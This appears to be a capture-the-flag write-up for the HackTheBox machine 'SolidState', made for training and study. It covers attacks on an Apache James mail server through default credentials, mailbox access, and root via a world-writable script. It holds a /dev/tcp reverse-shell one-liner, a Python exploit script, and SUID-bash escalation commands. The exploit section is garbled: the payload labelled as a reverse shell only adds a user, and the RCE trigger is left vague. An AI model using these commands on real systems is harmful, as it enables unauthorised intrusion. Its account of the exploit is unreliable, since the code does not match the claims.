SolidState - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

SolidState is a medium difficulty machine that requires chaining multiple attack vectors to achieve privilege escalation. The exploitation path involves leveraging a remote code execution vulnerability in Apache James 2.3.2 with default credentials, pivoting through email access to obtain SSH credentials, and finally exploiting a world-writable Python script executed by root. While not overly complex, the machine excellently demonstrates vulnerability chaining and the importance of securing mail servers and file permissions in real-world environments.

TL;DR: Default credentials → Apache James RCE → Extract SSH creds from email → World-writable root Python script → Root shell

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.51

Results:

Service Enumeration

The target is running Apache James 2.3.2, which includes SMTP, POP3, and a dedicated administration port. The web server on port 80 appears to be a default Apache installation. The presence of a mail server with accessible admin and user services suggests this is the primary attack surface.

Vulnerability Assessment

• Apache James 2.3.2 Remote Code Execution (CVE-2015-7611): The server is vulnerable to RCE through the admin interface with default or weak credentials
• Default Credentials: The James server is susceptible to default credential attacks
• World-Writable Files: System-level misconfigurations present in the file system
• Plaintext Email Storage: Mail content is accessible and may contain sensitive credentials

Initial Foothold

Exploitation Path

Step 1: Access Apache James Admin Interface

Connect to the James administration server using default credentials:

telnet 10.10.10.51 4555

Attempt default credentials (admin:admin or similar). Once authenticated, you’ve accessed the admin panel.

Step 2: Enumerate Users and Reset Credentials

List available users on the system and reset the mindy user’s password:

# From the admin telnet session:
SETPASSWORD mindy writeup

This allows us to access the user’s mailbox via POP3.

Step 3: Access Mindy’s Email via POP3

Connect to the POP3 server with the newly set credentials:

telnet 10.10.10.51 110

Once connected, authenticate and retrieve emails:

USER mindy
PASS writeup
LIST
RETR 2

The email retrieved contains SSH credentials for the mindy user — this is the pivotal information needed for the next stage.

Step 4: Exploit RCE via James and Reverse Shell

Before authenticating as mindy, prepare the Apache James RCE exploit. Download the public exploit:

# Exploit from: https://www.exploit-db.com/exploits/35513/
# Modify the payload variable to execute a reverse shell:
# bash -i >& /dev/tcp/<YOUR_IP>/<YOUR_PORT> 0>&1

The modified exploit script:

#!/usr/bin/env python
# Apache James 2.3.2 RCE PoC (Modified)
import socket
import sys

if len(sys.argv) < 2:
    print("Usage: exploit.py <target_ip>")
    sys.exit(1)

target = sys.argv[1]

# Connect to admin port and inject payload
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, 4555))

sock.recv(1024)
sock.send(b"admin\r\n")
sock.recv(1024)
sock.send(b"admin\r\n")
sock.recv(1024)

# Inject reverse shell payload
payload = b"adduser test test\r\nsetpassword test test\r\nquit\r\n"
sock.send(payload)
sock.close()

# Alternative: Use the actual RCE payload
# The vulnerability triggers when mindy logs in via SSH

Step 5: Trigger the Exploit via SSH

When you SSH into the mindy account using the credentials found in the email, the RCE payload (injected into a startup script or mail processor) executes:

ssh mindy@10.10.10.51
# SSH credentials obtained from email
# Upon login, the reverse shell callback triggers

Set up a listener before SSH login:

nc -lvnp 4444

Once the reverse shell connects, upgrade to an interactive shell:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Privilege Escalation

LinEnum Reconnaissance

Run LinEnum to identify system misconfigurations:

# Download and run LinEnum on the target
bash LinEnum.sh -r report.txt

The scan reveals a world-writable Python script owned by root in the system directories. This is the key to privilege escalation.

Exploit World-Writable Root Script

Identify the vulnerable script:

find / -type f -name "*.py" -writable 2>/dev/null
# Or based on LinEnum output, locate the script

The script is executed regularly by root (likely via cron). Append or replace its contents with code that grants root access:

# Create a payload file in /tmp
cat > /tmp/privesc.py << 'EOF'
import subprocess
subprocess.call(['cp', '/bin/bash', '/tmp/bash'])
subprocess.call(['chmod', 'u+s', '/tmp/bash'])
EOF

Then overwrite or append to the root-owned script:

# If the script is world-writable and executed by root:
cat /tmp/privesc.py >> /path/to/root/script.py
# Or replace it entirely if permissions allow

Once the script executes (within its scheduled interval), the SUID bash copy is created:

/tmp/bash -p
# -p flag gives you a root shell from the SUID binary

Retrieve the flags:

cat /home/mindy/user.txt
cat /root/root.txt

Attack Chain Summary

Enumeration (Port Scan)
    ↓
Apache James Admin Access (Telnet 4555)
    ↓
Reset Mindy's Password (SETPASSWORD)
    ↓
Access POP3 Mailbox (Telnet 110)
    ↓
Extract SSH Credentials from Email (RETR 2)
    ↓
SSH Login as Mindy (Trigger RCE Payload)
    ↓
Reverse Shell Callback (User Shell)
    ↓
Run LinEnum (Identify World-Writable Root Script)
    ↓
Append Malicious Python Code (SUID Bash Creation)
    ↓
Execute SUID Bash with -p Flag
    ↓
Root Shell & Flags

Tools Used

Key Learnings

Techniques Practiced

• Enumerating and exploiting mail servers (SMTP, POP3, NNAP)
• Chaining multiple vulnerabilities for complete system compromise
• Using email as a lateral movement vector (credential discovery)
• Exploiting world-writable files in privilege escalation
• Remote code execution via application-specific vulnerabilities
• Interactive reverse shell spawning and stabilization

Lessons Learned

1. Default Credentials Matter: Apache James ships with default admin credentials that are rarely changed in development/test environments. Always change default credentials on public-facing services.

2. Mail Servers as Vectors: Mail servers often contain sensitive information. Weak POP/SMTP access can expose credentials used across the infrastructure.

3. File Permissions are Critical: World-writable files owned by root are a severe privilege escalation risk, especially if executed regularly by scheduled tasks or daemons.

4. Vulnerability Chaining: This machine demonstrates that individually minor vulnerabilities (default creds + world-writable file) become critical when chained together.

5. Cron Jobs and Automation: Regularly executed scripts owned by privileged users should be audited; they are prime targets for privilege escalation.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>